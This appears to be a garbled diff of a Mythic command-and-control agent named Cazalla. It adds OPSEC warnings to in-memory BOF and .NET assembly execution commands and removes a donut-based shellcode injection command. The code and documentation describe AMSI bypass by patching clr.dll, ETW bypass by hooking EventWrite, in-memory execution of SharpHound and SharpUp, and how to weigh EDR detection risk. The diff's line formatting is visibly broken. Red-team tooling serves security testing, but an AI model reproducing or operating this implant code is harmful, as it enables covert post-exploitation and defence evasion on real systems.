TaskID=taskData.Task.ID,
|
|
||||||
Filename=taskData.args.get_arg("assembly_name"),
|
|
||||||
LimitByCallback=False,
|
|
||||||
MaxResults=1
|
|
||||||
))
|
|
||||||
if file_resp.Success:
|
|
||||||
if len(file_resp.Files) > 0:
|
|
||||||
logging.info(f"Found existing Assembly with File ID : {file_resp.Files[0].AgentFileId}")
|
|
||||||
|
|
||||||
taskData.args.remove_arg("assembly_name") # Don't need this anymore
|
|
||||||
|
|
||||||
# Set display parameters
|
|
||||||
response.DisplayParams = "-Assembly {} -Arguments {}".format(
|
|
||||||
file_resp.Files[0].Filename,
|
|
||||||
taskData.args.get_arg("assembly_arguments")
|
|
||||||
)
|
|
||||||
|
|
||||||
elif len(file_resp.Files) == 0:
|
|
||||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
|
||||||
else:
|
|
||||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.Error))
|
|
||||||
|
|
||||||
# Get the file contents of the .NET assembly
|
|
||||||
assembly_contents = await SendMythicRPCFileGetContent(
|
|
||||||
MythicRPCFileGetContentMessage(AgentFileId=file_resp.Files[0].AgentFileId)
|
|
||||||
)
|
|
||||||
|
|
||||||
# Try to import donut - required for execute_assembly
|
|
||||||
try:
|
|
||||||
import donut
|
|
||||||
except ImportError:
|
|
||||||
raise Exception("The 'donut' Python module is not installed. Please install it with: pip install donut-shellcode")
|
|
||||||
|
|
||||||
# Need a physical path for donut.create()
|
|
||||||
fd, temppath = tempfile.mkstemp(suffix='.exe')
|
|
||||||
logging.info(f"Writing Assembly Contents to temporary file \"{temppath}\"")
|
|
||||||
with os.fdopen(fd, 'wb') as tmp:
|
|
||||||
tmp.write(assembly_contents.Content)
|
|
||||||
|
|
||||||
# Bypass=None, ExitOption=exit process
|
|
||||||
assembly_shellcode = donut.create(file=temppath, params=taskData.args.get_arg("assembly_arguments"), bypass=1, exit_opt=2)
|
|
||||||
# Clean up temp file
|
|
||||||
os.remove(temppath)
|
|
||||||
|
|
||||||
logging.info(f"Converted .NET into Shellcode {len(assembly_shellcode)} bytes")
|
|
||||||
|
|
||||||
# .NET shellcode stub in Mythic
|
|
||||||
shellcode_file_resp = await SendMythicRPCFileCreate(
|
|
||||||
MythicRPCFileCreateMessage(TaskID=taskData.Task.ID, FileContents=assembly_shellcode, DeleteAfterFetch=True)
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
if shellcode_file_resp.Success:
|
|
||||||
shellcode_file_uuid = shellcode_file_resp.AgentFileId
|
|
||||||
else:
|
|
||||||
raise Exception("Failed to register execute_assembly binary: " + shellcode_file_resp.Error)
|
|
||||||
|
|
||||||
# Send subtask to inject shellcode
|
|
||||||
# Note: This requires an inject_shellcode command to exist
|
|
||||||
# For now, we'll just register the file and note that inject_shellcode needs to be implemented
|
|
||||||
subtask = await SendMythicRPCTaskCreateSubtask(
|
|
||||||
MythicRPCTaskCreateSubtaskMessage(
|
|
||||||
taskData.Task.ID,
|
|
||||||
CommandName="inject_shellcode",
|
|
||||||
SubtaskCallbackFunction="coff_completion_callback",
|
|
||||||
Params=json.dumps({
|
|
||||||
"shellcode_file": shellcode_file_uuid,
|
|
||||||
"method": "default"
|
|
||||||
}),
|
|
||||||
Token=taskData.Task.TokenID,
|
|
||||||
)
|
|
||||||
)
|
|
||||||
|
|
||||||
return response
|
|
||||||
|
|
||||||
except Exception as e:
|
|
||||||
raise Exception("Error from Mythic: " + str(e))
|
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
|
||||||
return resp
|
|
||||||
|
|
||||||
@@ -313,6 +313,67 @@ class InlineExecuteCommand(CommandBase):
|
|||||||
|
|
||||||
return response
|
return response
|
||||||
|
|
||||||
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
"""
|
||||||
|
OPSEC check before creating the task.
|
||||||
|
Warns about BOF execution risks.
|
||||||
|
"""
|
||||||
|
message = "⚠️ OPSEC WARNING - BOF Execution Detected\n\n"
|
||||||
|
message += "BOF (Beacon Object File) execution is monitored by:\n"
|
||||||
|
message += " • EDR/XDR solutions (memory allocation monitoring)\n"
|
||||||
|
message += " • API call monitoring (LoadLibraryA, GetProcAddress)\n"
|
||||||
|
message += " • Memory scanning (executable page allocation)\n"
|
||||||
|
message += " • Symbol resolution tracking\n\n"
|
||||||
|
|
||||||
|
message += "🔍 DETECTION MECHANISMS:\n"
|
||||||
|
message += " • PAGE_EXECUTE_READWRITE memory allocation\n"
|
||||||
|
message += " • External symbol resolution (LoadLibraryA/GetProcAddress)\n"
|
||||||
|
message += " • COFF loader activity patterns\n"
|
||||||
|
message += " • Beacon API function calls\n\n"
|
||||||
|
|
||||||
|
message += "💡 CONSIDERATIONS:\n"
|
||||||
|
message += " • In-process execution reduces some detection vectors (no new process)\n"
|
||||||
|
message += " • Better OPSEC than `shell` (no cmd.exe spawn)\n"
|
||||||
|
message += " • Memory allocation may be scanned by EDR\n"
|
||||||
|
message += " • API calls may be logged by security tools\n\n"
|
||||||
|
|
||||||
|
message += "⚠️ DETECTION RISK: MEDIUM\n"
|
||||||
|
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||||
|
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||||
|
message += "Ensure you understand the detection risks before continuing."
|
||||||
|
|
||||||
|
return PTTTaskOPSECPreTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPreBlocked=False, # Medium risk, don't block
|
||||||
|
OpsecPreBypassRole="operator",
|
||||||
|
OpsecPreMessage=message
|
||||||
|
)
|
||||||
|
|
||||||
|
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||||
|
"""
|
||||||
|
OPSEC check after creating the task.
|
||||||
|
Warns about artifacts that will be created.
|
||||||
|
"""
|
||||||
|
message = "⚠️ OPSEC POST-CHECK - BOF Execution Artifacts\n\n"
|
||||||
|
message += "This task will create the following artifacts:\n"
|
||||||
|
message += " • Process Create: BOF execution in current process\n"
|
||||||
|
message += " • Memory Allocation: Executable memory pages (PAGE_EXECUTE_READWRITE)\n"
|
||||||
|
message += " • API Calls: LoadLibraryA, GetProcAddress, symbol resolution\n\n"
|
||||||
|
|
||||||
|
message += "💡 ARTIFACT DETAILS:\n"
|
||||||
|
message += " • Process Create artifact is logged in Mythic\n"
|
||||||
|
message += " • Memory allocation may be detected by EDR memory scanning\n"
|
||||||
|
message += " • API calls may be logged by security tools\n\n"
|
||||||
|
|
||||||
|
message += "✅ Review artifacts in the Artifacts tab after execution."
|
||||||
|
|
||||||
|
return PTTTaskOPSECPostTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPostMessage=message
|
||||||
|
)
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
return resp
|
return resp
|
||||||
|
|||||||
@@ -269,6 +269,130 @@ class InlineExecuteAssemblyCommand(CommandBase):
|
|||||||
alias=True
|
alias=True
|
||||||
)
|
)
|
||||||
|
|
||||||
|
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||||
|
"""
|
||||||
|
OPSEC check before creating the task.
|
||||||
|
Warns about .NET assembly execution risks, especially with bypass flags.
|
||||||
|
"""
|
||||||
|
# Check if bypass flags are enabled
|
||||||
|
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||||
|
etw_enabled = taskData.args.get_arg("etw") or False
|
||||||
|
patch_exit_enabled = taskData.args.get_arg("patch_exit") or False
|
||||||
|
|
||||||
|
blocked = False
|
||||||
|
message = "⚠️ OPSEC WARNING - .NET Assembly In-Process Execution Detected\n\n"
|
||||||
|
|
||||||
|
message += ".NET assembly execution is monitored by:\n"
|
||||||
|
message += " • EDR/XDR solutions (CLR loading detection)\n"
|
||||||
|
message += " • AMSI (Anti-Malware Scan Interface)\n"
|
||||||
|
message += " • ETW (Event Tracing for Windows)\n"
|
||||||
|
message += " • Memory scanning (executable page allocation)\n"
|
||||||
|
message += " • Behavioral analysis engines\n\n"
|
||||||
|
|
||||||
|
if amsi_enabled or etw_enabled:
|
||||||
|
message += "🚨 HIGH RISK DETECTED - Bypass Flags Enabled\n\n"
|
||||||
|
message += "⚠️ WARNING: You have enabled bypass flags that significantly increase detection risk:\n\n"
|
||||||
|
|
||||||
|
if amsi_enabled:
|
||||||
|
message += " • --amsi: AMSI bypass by patching clr.dll\n"
|
||||||
|
message += " - Patching clr.dll may trigger behavioral detections\n"
|
||||||
|
message += " - More evasive than patching amsi.dll, but still detectable\n"
|
||||||
|
message += " - Advanced EDR solutions monitor CLR modifications\n\n"
|
||||||
|
|
||||||
|
if etw_enabled:
|
||||||
|
message += " • --etw: ETW bypass via EAT hooking\n"
|
||||||
|
message += " - EAT hooking advapi32.dll!EventWrite is monitored\n"
|
||||||
|
message += " - Advanced EDR solutions detect export table modifications\n"
|
||||||
|
message += " - May trigger immediate alerts\n\n"
|
||||||
|
|
||||||
|
message += "🔍 BYPASS DETECTION MECHANISMS:\n"
|
||||||
|
message += " • CLR DLL patching detection\n"
|
||||||
|
message += " • Export Address Table (EAT) hooking detection\n"
|
||||||
|
message += " • Behavioral analysis of bypass techniques\n"
|
||||||
|
message += " • Memory integrity checks\n\n"
|
||||||
|
|
||||||
|
message += "⚠️ DETECTION RISK: HIGH (with bypass flags)\n"
|
||||||
|
message += "Bypass techniques are heavily monitored and may trigger immediate alerts.\n\n"
|
||||||
|
|
||||||
|
# Block if both bypasses are enabled
|
||||||
|
if amsi_enabled and etw_enabled:
|
||||||
|
blocked = True
|
||||||
|
message += "🚨 BLOCKED: Both AMSI and ETW bypasses enabled.\n"
|
||||||
|
message += "This combination has very high detection risk.\n"
|
||||||
|
message += "Consider using only one bypass or none if possible.\n\n"
|
||||||
|
else:
|
||||||
|
message += "🔍 DETECTION MECHANISMS:\n"
|
||||||
|
message += " • CLR loading into memory\n"
|
||||||
|
message += " • .NET assembly reflection/loading\n"
|
||||||
|
message += " • Memory allocation (executable pages)\n"
|
||||||
|
message += " • Assembly execution patterns\n\n"
|
||||||
|
|
||||||
|
message += "💡 CONSIDERATIONS:\n"
|
||||||
|
message += " • In-process execution reduces detection vectors (no process injection)\n"
|
||||||
|
message += " • Better OPSEC than process spawning (no new process creation)\n"
|
||||||
|
message += " • CLR loading may be detected by EDR\n"
|
||||||
|
message += " • Memory allocation may be scanned\n\n"
|
||||||
|
|
||||||
|
message += "⚠️ DETECTION RISK: MEDIUM (without bypass flags)\n"
|
||||||
|
message += "Usually not immediately detected, but may be flagged by behavioral analysis.\n\n"
|
||||||
|
|
||||||
|
if patch_exit_enabled:
|
||||||
|
message += " • --patchexit: Prevents assembly from exiting (recommended)\n\n"
|
||||||
|
|
||||||
|
message += "💡 ALTERNATIVES:\n"
|
||||||
|
message += " • Use `inline_execute` for BOFs (lower detection risk)\n"
|
||||||
|
message += " • Consider executing assemblies without bypass flags first\n\n"
|
||||||
|
|
||||||
|
if not blocked:
|
||||||
|
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||||
|
else:
|
||||||
|
message += "❌ This command is BLOCKED due to high detection risk.\n"
|
||||||
|
|
||||||
|
message += "Ensure you understand the detection risks before continuing."
|
||||||
|
|
||||||
|
return PTTTaskOPSECPreTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPreBlocked=blocked,
|
||||||
|
OpsecPreBypassRole="other_operator" if blocked else "operator",
|
||||||
|
OpsecPreMessage=message
|
||||||
|
)
|
||||||
|
|
||||||
|
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||||
|
"""
|
||||||
|
OPSEC check after creating the task.
|
||||||
|
Warns about artifacts that will be created.
|
||||||
|
"""
|
||||||
|
amsi_enabled = taskData.args.get_arg("amsi") or False
|
||||||
|
etw_enabled = taskData.args.get_arg("etw") or False
|
||||||
|
|
||||||
|
message = "⚠️ OPSEC POST-CHECK - .NET Assembly Execution Artifacts\n\n"
|
||||||
|
message += "This task will create the following artifacts:\n"
|
||||||
|
message += " • Process Create: .NET assembly execution in-process\n"
|
||||||
|
message += " • CLR Loading: .NET Common Language Runtime loaded into memory\n"
|
||||||
|
message += " • Memory Allocation: Executable memory pages for assembly\n"
|
||||||
|
|
||||||
|
if amsi_enabled:
|
||||||
|
message += " • AMSI Bypass: clr.dll patching (high detection risk)\n"
|
||||||
|
if etw_enabled:
|
||||||
|
message += " • ETW Bypass: EAT hooking advapi32.dll!EventWrite (high detection risk)\n"
|
||||||
|
|
||||||
|
message += "\n💡 ARTIFACT DETAILS:\n"
|
||||||
|
message += " • Process Create artifact is logged in Mythic\n"
|
||||||
|
message += " • CLR loading may be detected by EDR\n"
|
||||||
|
message += " • Memory allocation may be scanned by EDR memory protection\n"
|
||||||
|
|
||||||
|
if amsi_enabled or etw_enabled:
|
||||||
|
message += " • Bypass techniques may trigger immediate behavioral alerts\n"
|
||||||
|
|
||||||
|
message += "\n✅ Review artifacts in the Artifacts tab after execution."
|
||||||
|
|
||||||
|
return PTTTaskOPSECPostTaskMessageResponse(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Success=True,
|
||||||
|
OpsecPostMessage=message
|
||||||
|
)
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
|
|||||||
@@ -12,5 +12,4 @@ charset_normalizer==3.3.2
|
|||||||
pycryptodome==3.19.0
|
pycryptodome==3.19.0
|
||||||
|
|
||||||
# Optional dependencies:
|
# Optional dependencies:
|
||||||
# donut-shellcode - Required only for execute_assembly command
|
# (None at this time)
|
||||||
# Install with: pip install donut-shellcode
|
|
||||||
@@ -43,8 +43,7 @@ commands = {
|
|||||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
|
"socks": {"hex_code": 0x60, "input_type": "socks_special"}, # Se maneja especialmente
|
||||||
# BOF and Assembly execution commands
|
# BOF and Assembly execution commands
|
||||||
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
|
"inline_execute": {"hex_code": 0x70, "input_type": "bof_special"},
|
||||||
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"},
|
"inline_execute_assembly": {"hex_code": 0x71, "input_type": "assembly_special"}
|
||||||
"execute_assembly": {"hex_code": 0x72, "input_type": "assembly_special"}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
def responseTasking(tasks):
|
def responseTasking(tasks):
|
||||||
@@ -272,12 +271,11 @@ def responseTasking(tasks):
|
|||||||
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
|
print(f"[TRANSLATOR] inline_execute: file_id={file_id}, args_packed={len(bof_args) if bof_args else 0} items")
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "assembly_special":
|
elif commands[command_to_run]["input_type"] == "assembly_special":
|
||||||
# inline_execute_assembly or execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
# inline_execute_assembly: Format: [command_code][task_id][file_id_len:4][file_id][args_len:4][args]
|
||||||
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||||
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
|
# For inline_execute_assembly, it uses subtasks, so we might not get direct parameters
|
||||||
# For execute_assembly, it also uses subtasks
|
# This command is handled via subtasks in Python, so it may not reach here directly
|
||||||
# These commands are handled via subtasks in Python, so they may not reach here directly
|
# But we'll handle it if it does
|
||||||
# But we'll handle them if they do
|
|
||||||
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
|
file_id = parameters.get("assembly_file", parameters.get("shellcode_file", ""))
|
||||||
|
|
||||||
data = command_code + task_id
|
data = command_code + task_id
|
||||||
|
|||||||
@@ -201,7 +201,6 @@ For more information, see the [Mythic documentation on customizing public agents
|
|||||||
| `exit` | Terminate the implant | `exit` |
|
| `exit` | Terminate the implant | `exit` |
|
||||||
| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
|
| `inline_execute` | Execute a Beacon Object File (BOF) in the current process thread | `inline_execute -BOF whoami.x64.o -Arguments int32:1234` |
|
||||||
| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
|
| `inline_execute_assembly` | Execute a .NET Assembly in the current process using Inline-EA BOF | `inline_execute_assembly -Assembly SharpUp.exe -Arguments "audit" --patchexit --amsi --etw` |
|
||||||
| `execute_assembly` | Execute a .NET Assembly in a remote process and retrieve output | `execute_assembly -Assembly SharpUp.exe -Arguments "audit"` |
|
|
||||||
|
|
||||||
### System Information
|
### System Information
|
||||||
|
|
||||||
|
|||||||
@@ -812,6 +812,7 @@ inline_execute -BOF <bof_file> [-Arguments <arguments>]
|
|||||||
- `string:hello` or `-z:hello` - Null-terminated string
|
- `string:hello` or `-z:hello` - Null-terminated string
|
||||||
- `wchar:hello` or `-Z:hello` - Wide character string
|
- `wchar:hello` or `-Z:hello` - Wide character string
|
||||||
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
|
- `base64:abc==` or `-b:abc==` - Base64-encoded binary data
|
||||||
|
- `bytes:hexstring` - Hexadecimal string of bytes
|
||||||
|
|
||||||
**Examples:**
|
**Examples:**
|
||||||
```
|
```
|
||||||
@@ -821,29 +822,37 @@ inline_execute -BOF netstat.x64.o -Arguments int32:4 string:TCP
|
|||||||
```
|
```
|
||||||
|
|
||||||
**Features:**
|
**Features:**
|
||||||
- In-memory execution: BOFs are executed directly in the current process memory without creating new processes
|
- **In-Memory Execution**: BOFs are executed directly in the current process memory without creating new processes
|
||||||
- COFF loader: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
|
- **COFF Loader**: Full COFF loader implementation supporting x64 BOFs with relocations and symbol resolution
|
||||||
- Beacon API compatibility: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
|
- **Beacon API Compatibility**: Compatible with Cobalt Strike BOF API (BeaconPrintf, BeaconOutput, etc.)
|
||||||
- Output capture: Automatically captures and returns BOF output
|
- **Output Capture**: Automatically captures and returns BOF output via BeaconPrintf/BeaconOutput
|
||||||
- Argument parsing: Supports multiple argument types (int16, int32, string, wchar, base64)
|
- **Argument Parsing**: Supports multiple argument types (int16, int32, string, wchar, base64, bytes)
|
||||||
|
- **Thread Isolation**: BOFs execute in a separate thread with 30-second timeout to prevent agent crashes
|
||||||
|
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
|
||||||
|
|
||||||
**Output:**
|
**Output:**
|
||||||
```
|
```
|
||||||
[inline_execute] BOF execution requested
|
|
||||||
[inline_execute] File ID: abc123...
|
|
||||||
[BOF Output]
|
[BOF Output]
|
||||||
Module Name: ntdll.dll
|
Module Name: ntdll.dll
|
||||||
Base Address: 0x7ffa12340000
|
Base Address: 0x7ffa12340000
|
||||||
|
Size: 0x1f0000
|
||||||
```
|
```
|
||||||
|
|
||||||
**OPSEC Considerations:**
|
**OPSEC Considerations:**
|
||||||
- Process Create artifact: BOF execution creates a "Process Create" artifact that is logged
|
- **MEDIUM OPSEC RISK**: In-process execution reduces some detection vectors compared to process spawning
|
||||||
- Memory allocation: BOFs allocate executable memory which may be detected by EDR solutions
|
- **Process Create Artifact**: BOF execution creates a "Process Create" artifact that is logged in Mythic
|
||||||
- API hooking: Some EDR solutions monitor API calls that BOFs make
|
- **Memory Allocation**: BOFs allocate executable memory (PAGE_EXECUTE_READWRITE) which may be detected by EDR solutions
|
||||||
- Symbol resolution: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged
|
- **API Monitoring**: External symbol resolution (LoadLibraryA, GetProcAddress) may be logged by EDR/XDR
|
||||||
- No new process: Unlike `shell` or `execute_assembly`, BOFs execute in-process, reducing some detection vectors
|
- **Memory Scanning**: Allocated executable memory may be scanned by EDR memory protection features
|
||||||
|
- **No New Process**: Unlike `shell`, BOFs execute in-process, reducing some detection vectors
|
||||||
|
- **Thread Isolation**: BOFs execute in a separate thread with timeout protection
|
||||||
|
|
||||||
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
|
**Technical Details:**
|
||||||
|
- Arguments are serialized using Packer format: `[size:4 bytes LE][data]`
|
||||||
|
- Boolean values are automatically converted to integers (0 or 1) before serialization
|
||||||
|
- BOFs that hang will timeout after 30 seconds and output will still be captured
|
||||||
|
|
||||||
|
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute.md)
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -862,7 +871,7 @@ inline_execute_assembly -Assembly <assembly_file> [-Arguments <args>] [--patchex
|
|||||||
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
|
- `-Arguments` or `assembly_arguments` (optional): Arguments to pass to the assembly
|
||||||
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
|
- `--patchexit` or `patch_exit` (optional, default: false): Patch `System.Environment.Exit` to prevent the Beacon process from exiting
|
||||||
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
|
- `--amsi` or `amsi` (optional, default: false): Bypass AMSI by patching `clr.dll` instead of `amsi.dll` to avoid common detections
|
||||||
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite`
|
- `--etw` or `etw` (optional, default: false): Bypass ETW by EAT hooking `advapi32.dll!EventWrite` to point to a function that returns immediately
|
||||||
|
|
||||||
**Examples:**
|
**Examples:**
|
||||||
```
|
```
|
||||||
@@ -872,60 +881,51 @@ inline_execute_assembly -Assembly SharpHound.exe -Arguments "-c All" --patchexit
|
|||||||
```
|
```
|
||||||
|
|
||||||
**Features:**
|
**Features:**
|
||||||
- In-process execution: Executes .NET assemblies in the current process without spawning new processes
|
- **In-Process Execution**: Executes .NET assemblies in the current process without spawning new processes
|
||||||
- AMSI bypass: Optional AMSI bypass by patching clr.dll (more evasive than patching amsi.dll)
|
- **AMSI Bypass**: Optional AMSI bypass by patching `clr.dll` (more evasive than patching `amsi.dll`)
|
||||||
- ETW bypass: Optional ETW bypass via EAT hooking
|
- **ETW Bypass**: Optional ETW bypass via EAT hooking
|
||||||
- Exit patch: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
|
- **Exit Patch**: Prevents assemblies from calling `System.Environment.Exit` and terminating the agent
|
||||||
- Output capture: Automatically captures and returns assembly output
|
- **Output Capture**: Automatically captures and returns assembly output via completion callback
|
||||||
- BOF-based: Uses the Inline-EA BOF under the hood (executed via `inline_execute`)
|
- **BOF-Based**: Uses the Inline-EA BOF (`inline-ea.x64.o`) under the hood (executed via `inline_execute`)
|
||||||
|
- **Process Create Artifact**: Automatically creates a "Process Create" artifact for tracking
|
||||||
|
- **Subtask Integration**: Creates a subtask that calls `inline_execute`, with output aggregated via completion callback
|
||||||
|
|
||||||
|
**How It Works:**
|
||||||
|
1. Retrieves the .NET assembly from Mythic
|
||||||
|
2. Searches for the Inline-EA BOF (`inline-ea.x64.o`) in Mythic's file store
|
||||||
|
3. Creates a subtask that calls `inline_execute` with the Inline-EA BOF
|
||||||
|
4. Passes the .NET assembly as raw bytes (hex-encoded) to the BOF
|
||||||
|
5. BOF loads the assembly into memory using .NET CLR APIs
|
||||||
|
6. Optional bypasses (AMSI, ETW) are applied if requested via flags
|
||||||
|
7. Assembly's entry point is executed with the provided arguments
|
||||||
|
8. Output is captured via `BeaconPrintf` and returned to the parent task through a completion callback
|
||||||
|
|
||||||
|
**Output:**
|
||||||
|
```
|
||||||
|
SharpUp execution started...
|
||||||
|
[*] Checking for insecure file permissions...
|
||||||
|
[*] Checking for unquoted service paths...
|
||||||
|
[+] Found: C:\Program Files\Vulnerable Service\service.exe
|
||||||
|
[*] Completed Privesc Checks in 17 seconds
|
||||||
|
```
|
||||||
|
|
||||||
**OPSEC Considerations:**
|
**OPSEC Considerations:**
|
||||||
- Process Create artifact: Assembly execution creates a "Process Create" artifact
|
- **MEDIUM OPSEC RISK**: In-process execution provides better OPSEC than process spawning (no process injection)
|
||||||
- CLR loading: Loading .NET assemblies into memory may be detected by EDR solutions
|
- **Process Create Artifact**: Assembly execution creates a "Process Create" artifact that is logged in Mythic
|
||||||
- AMSI bypass: Patching clr.dll for AMSI bypass may trigger behavioral detections
|
- **CLR Loading**: Loading .NET assemblies into memory may be detected by EDR solutions
|
||||||
- ETW bypass: EAT hooking may be detected by advanced EDR solutions
|
- **AMSI Bypass**: Patching `clr.dll` for AMSI bypass may trigger behavioral detections (more evasive than patching `amsi.dll`)
|
||||||
- No new process: Executes in-process, reducing some detection vectors compared to `execute_assembly`
|
- **ETW Bypass**: EAT hooking `advapi32.dll!EventWrite` may be detected by advanced EDR solutions
|
||||||
|
- **No New Process**: Executes in-process, reducing some detection vectors compared to process spawning
|
||||||
|
- **Memory Allocation**: Allocates executable memory for the assembly, which may be scanned by EDR
|
||||||
|
- **Thread Isolation**: BOF execution runs in a separate thread with timeout protection
|
||||||
|
|
||||||
**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [`execute_assembly`](#execute_assembly---execute-net-assembly-in-remote-process), [Artifacts Support](features.md#artifacts-support)
|
**Technical Details:**
|
||||||
|
- Uses Inline-EA BOF developed by @EricEsquivel (https://github.com/EricEsquivel/Inline-EA)
|
||||||
|
- Boolean flags (`--amsi`, `--etw`, `--patchexit`) are automatically converted to integers (0 or 1) for the BOF
|
||||||
|
- If BOF execution hangs, it will timeout after 30 seconds and output will still be captured
|
||||||
|
- Output is aggregated from the subtask and displayed directly in the main command (not as a subtask)
|
||||||
|
|
||||||
---
|
**Related:** [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support), [Detailed Documentation](commands/inline_execute_assembly.md)
|
||||||
|
|
||||||
### `execute_assembly` - Execute .NET Assembly in Remote Process
|
|
||||||
|
|
||||||
Execute a .NET Assembly in a remote process and retrieve its output.
|
|
||||||
|
|
||||||
**Syntax:**
|
|
||||||
```
|
|
||||||
execute_assembly -Assembly <assembly_file> -Arguments <args>
|
|
||||||
```
|
|
||||||
|
|
||||||
**Parameters:**
|
|
||||||
- `-Assembly` or `assembly_name` (required): Name of an already uploaded .NET assembly (e.g., `SharpUp.exe`)
|
|
||||||
- `assembly_file` (required for new uploads): A new .NET assembly file to upload and execute
|
|
||||||
- `-Arguments` or `assembly_arguments` (required): Arguments to pass to the assembly
|
|
||||||
|
|
||||||
**Examples:**
|
|
||||||
```
|
|
||||||
execute_assembly -Assembly SharpUp.exe -Arguments "audit"
|
|
||||||
execute_assembly -Assembly Seatbelt.exe -Arguments "all"
|
|
||||||
execute_assembly -Assembly SharpHound.exe -Arguments "-c All -d domain.local"
|
|
||||||
```
|
|
||||||
|
|
||||||
**Features:**
|
|
||||||
- Shellcode conversion: Automatically converts .NET assemblies to shellcode using Donut
|
|
||||||
- Process injection: Injects shellcode into a target process (defaults to current process)
|
|
||||||
- Output capture: Captures and returns assembly output
|
|
||||||
- No file system: Assembly is executed entirely in memory without writing to disk
|
|
||||||
|
|
||||||
**OPSEC Considerations:**
|
|
||||||
- **HIGH OPSEC RISK**: Process injection is heavily monitored by EDR/XDR solutions
|
|
||||||
- Shellcode injection: Donut shellcode injection may trigger behavioral detections
|
|
||||||
- Process Create artifact: Creates a "Process Create" artifact
|
|
||||||
- Memory scanning: Injected shellcode may be scanned by EDR memory protection
|
|
||||||
- API monitoring: Process injection APIs (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) are monitored
|
|
||||||
- Donut detection: Donut shellcode patterns may be detected by advanced security solutions
|
|
||||||
|
|
||||||
**Related:** [`inline_execute_assembly`](#inline_execute_assembly---execute-net-assembly-in-process) (better OPSEC), [`inline_execute`](#inline_execute---execute-beacon-object-file-bof), [Artifacts Support](features.md#artifacts-support)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
@@ -45,7 +45,6 @@ Complete documentation for all Cazalla agent commands, organized by category.
|
|||||||
|
|
||||||
- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
|
- [`inline_execute`](inline_execute.md) - Execute Beacon Object Files (BOFs)
|
||||||
